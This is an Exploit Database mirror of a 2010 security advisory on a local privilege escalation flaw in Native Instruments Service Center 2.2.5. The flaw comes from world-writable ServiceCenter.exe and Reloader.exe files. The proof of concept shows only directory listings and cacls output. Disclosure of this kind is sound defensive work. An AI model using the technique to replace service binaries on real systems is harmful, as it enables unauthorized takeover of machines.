Native Instruments Service Center 2.2.5 – Local Privilege Escalation

• Exploit Database
• 147 阅读

• 作者： LiquidWorm
  日期： 2010-11-20
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15584/
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  Native Instruments Service Center 2.2.5 Local Privilege Escalation Vulnerability     Vendor: Native Instruments GmbH Product web page: http://www.native-instruments.com Affected version: 2.2.5 (R596)   Summary: The NI Service Center is a service used for Product Activation.   Desc: The Native Instruments&apos;s Service Center suffers from an elevation of privileges vulnerability which can be used by a simple user that can change the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the "C" flag (Change(write)) for "Everyone", for the installed files ServiceCenter.exe and Reloader.exe.   Tested on: Microsoft Windows XP Professional SP3 (English)     Vulnerability discovered by: Gjoko &apos;LiquidWorm&apos; Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk     Advisory ID: ZSL-2010-4981 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4981.php   06.11.2010     PoC:   ----------------------------------------------------------------------------   C:\Program Files\Native Instruments\Service Center>dir Volume in drive C has no label. Volume Serial Number is 7C64-FE80   Directory of C:\Program Files\Native Instruments\Service Center   07.11.201019:52<DIR>. 07.11.201019:52<DIR>.. 05.11.201017:58<DIR>conf 05.11.201017:58<DIR>Documentation 05.11.201017:57 738.632 Reloader.exe 05.11.201017:5810.650.440 ServiceCenter.exe 2 File(s) 11.389.072 bytes 4 Dir(s) 9.880.768.512 bytes free   C:\Program Files\Native Instruments\Service Center>cacls ServiceCenter.exe C:\Program Files\Native Instruments\Service Center\ServiceCenter.exe BUILTIN\Administrators:F Everyone:C NT AUTHORITY\SYSTEM:F     C:\Program Files\Native Instruments\Service Center>cacls Reloader.exe C:\Program Files\Native Instruments\Service Center\Reloader.exe BUILTIN\Administrators:F Everyone:C NT AUTHORITY\SYSTEM:F     C:\Program Files\Native Instruments\Service Center>   ----------------------------------------------------------------------------